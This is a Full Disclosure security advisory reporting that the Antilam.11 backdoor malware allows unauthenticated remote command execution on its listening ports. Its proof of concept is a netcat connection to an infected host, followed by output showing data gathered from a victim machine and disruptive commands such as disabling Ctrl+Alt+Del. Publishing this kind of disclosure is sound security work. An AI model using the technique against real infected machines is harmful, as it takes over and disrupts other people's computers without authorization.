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Date: Mon, 30 Aug 2021 22:01:39 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Antilam.11 / Unauthenticated Remote Code
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9adffcc98cd658a7f9c5419480013f72_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Antilam.11
Vulnerability: Unauthenticated Remote Code Execution
Description: The Win32.Antilam.11 malware aka "Backdoor.Win32.Latinus.b"
(MVID-2021-0029), listens on TCP ports 11831, 29559. Third-party attackers
who can reach infected systems can execute commands made available by the
backdoor.
Type: PE32
MD5: 9adffcc98cd658a7f9c5419480013f72
Vuln ID: MVID-2021-0324
Dropped files: msHtml.exe
Disclosure: 08/30/2021

Exploit/PoC:
nc64.exe x.x.x.x 11831
001
001Windows folder: C:\WINDOWS
System folder: C:\WINDOWS\system32
Temp folder: C:\Users\Victim\AppData\Local\Temp\
Windows version: Windows NT 6.2 9200
Minutes in windows: 06
Computer name: DESKTOP-2C3IQHO
User name: Victim
Windows language: English (United States)
Resolution: 1479x821
NumLock state: Off
CapsLock state: Off
ScrollLock state: Off
Play sounds: Yes
Free disk space: 1,014,693,888
Local host: DESKTOP-2C3IQHO
Clients connected: 2002
000All icons in desktop are hidden now...003
000Start button is hidden now...004
000Taskbar is hidden now...005
000Task icons are hidden now...006
000Task clock is hidden now...007
000Monitor is off now...008
000Ctrl+Alt+Del disabled...009
000ScrollLock is off now...010
000CapsLock is off now...011
000NumLock is off now...012
000CD-ROM was been closed...013
000Can't change remote time...014
000Can't change remote date...015
01501:42 AM|8/19/2021016
000Mouse buttons restored...017
000Crazy mouse is disabled...018
000Mouse was been unlocked...019
000Double-click speed was been changed...020


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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